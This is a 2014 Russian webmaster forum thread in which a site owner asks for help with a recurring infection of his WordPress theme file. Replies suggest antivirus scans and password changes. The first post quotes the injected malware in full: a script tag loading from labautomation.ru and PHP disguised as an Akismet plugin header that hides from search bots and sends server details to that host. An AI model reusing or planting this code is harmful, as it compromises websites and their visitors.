Взламывают сайты Яндекс орет что на, сайте вирус

Diks-5 · 2014-11-29T05:50:41.0000000Z

Доброго всем дня. Уже менсяц борюсь с этой заразой!! Может кто сталкивался прошу помочь :( незнаю что делать уже. это вставка пстоянно всталяеться в котент вирус часть первая -------------------------------------------------------------------- <script type="text/javascript" src="http://labautomation.ru/jbkw2ybt.php?id=4477416"></script> --------------------------------------------------------------------- эта вставка которая вставляеться в idex.php тему сайта! Я что только не делал, выствлял прова доступа на фаилы 444 всеровно меняет и всталяет эту дрянь! Менял пароли везде. Не помогает. Может укого что то было подобное как это победить???? :facepalm: эта вставка которая вставляеться в idex.php тему сайта, часть вторая! --------------------------------------------------------------------- <?php #395547# /** * @package Akismet */ /* Plugin Name: Akismet Plugin URI: http://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) <a href="http://akismet.com/get/">Sign up for an Akismet API key</a>, and 3) Go to your Akismet configuration page, and save your API key. Version: 3.0.0 Author: Automattic Author URI: http://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ if( empty( $rr ) ) { if( ( substr( trim( $_SERVER['REMOTE_ADDR'] ), 0, 6 ) == '74.125' ) || preg_match( "/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'] ) ) { } else { error_reporting( 0 ); @ini_set( 'display_errors', 0 ); if( !function_exists( '__url_get_contents' ) ) { function __url_get_contents( $remote_url, $timeout ) { if( function_exists( 'curl_exec' ) ) { $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $remote_url ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout ); curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout ); //timeout in seconds $_url_get_contents_data = curl_exec( $ch ); curl_close( $ch ); } elseif( function_exists( 'file_get_contents' ) && ini_get( 'allow_url_fopen' ) ) { $ctx = @stream_context_create( array( 'http' => array( 'timeout' => $timeout, ) ) ); $_url_get_contents_data = @file_get_contents( $remote_url, false, $ctx ); } elseif( function_exists( 'fopen' ) && function_exists( 'stream_get_contents' ) ) { $handle = @fopen( $remote_url, "r" ); $_url_get_contents_data = @stream_get_contents( $handle ); } else { $_url_get_contents_data = __file_get_url_contents( $remote_url ); } return $_url_get_contents_data; } } if( !function_exists( '__file_get_url_contents' ) ) { function __file_get_url_contents( $remote_url ) { if( preg_match( '/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i', $remote_url, $matches ) ) { $protocol = strtolower( $matches[1] ); $host = $matches[2]; $path = $matches[3]; } else { // Bad remote_url-format return false; } if( $protocol == "http" ) { $socket = @fsockopen( $host, 80, $errno, $errstr, $timeout ); } else { // Bad protocol return false; } if( !$socket ) { // Error creating socket return false; } $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n"; $len_written = @fwrite( $socket, $request ); if( $len_written === false || $len_written != strlen( $request ) ) { // Error sending request return false; } $response = ""; while( !@feof( $socket ) && ( $buf = @fread( $socket, 4096 ) ) !== false ) { $response .= $buf; } if( $buf === false ) { // Error reading response return false; } $end_of_header = strpos( $response, "\r\n\r\n" ); return substr( $response, $end_of_header + 4 ); } } $rr['SCRIPT_FILENAME'] = $_SERVER['SCRIPT_FILENAME']; $rr['SCRIPT_NAME'] = $_SERVER['SCRIPT_NAME']; $rr['HTTP_HOST'] = $_SERVER['HTTP_HOST']; $rr['REDIRECT_STATUS'] = $_SERVER['REDIRECT_STATUS']; $rr['SERVER_NAME'] = $_SERVER['SERVER_NAME']; $rr['SERVER_ADDR'] = $_SERVER['SERVER_ADDR']; $rr['SERVER_ADMIN'] = $_SERVER['SERVER_ADMIN']; $rr = __url_get_contents("http://labautomation.ru/jbkw2ybt.php" . "?fid=318923&info=" . http_build_query( $rr ) . "&no=1", 1); echo "<script type=\"text/javascript\" src=\"http://labautomation.ru/jbkw2ybt.php?id=4477447\"></script>"; } } #/395547# ?> ----------------------------------------------------------------------------

ZU

9

ZhitomirUA

30 ноября 2014, 08:35

#11

что за хостинг, для начала прогоните свой комп нормальным антивирусником, каспером или дрвебом.

Лучшие дешевые ВПСки (http://vk.cc/3yWCPb) Домены бесплатно налетай (http://vk.cc/3VLUgO) Бесплатные звонки по Всему миру (https://goo.gl/tF28pI)

224

aklimovv

30 ноября 2014, 08:59

#12

Прежде всего поменяйте пароли хостинга.

S

7

seomost

30 ноября 2014, 10:35

#13

ТС хочет чтоб ему кто то пошагово расказал как ему убрать вирус. Вместо того чтоб отдать на проверку знающим людям и заплатить за проделанную работу.

Общался с ним в рамках другого форума.

Как найти надежного партнера? Место в топ Все вопросы по бирже

N

88

nworm

1 декабря 2014, 20:53

#14

aklimovv:
Прежде всего поменяйте пароли хостинга.

Ага. Попробуйте устранить для начала случай кражи паролей хостинга.

Тут, например, про уязвимость filezilla

Дзен реализовал для авторов возможность вывода денег через СПБ

Тренды маркетинга в 2024 году: мобильные продажи, углубленная аналитика и ИИ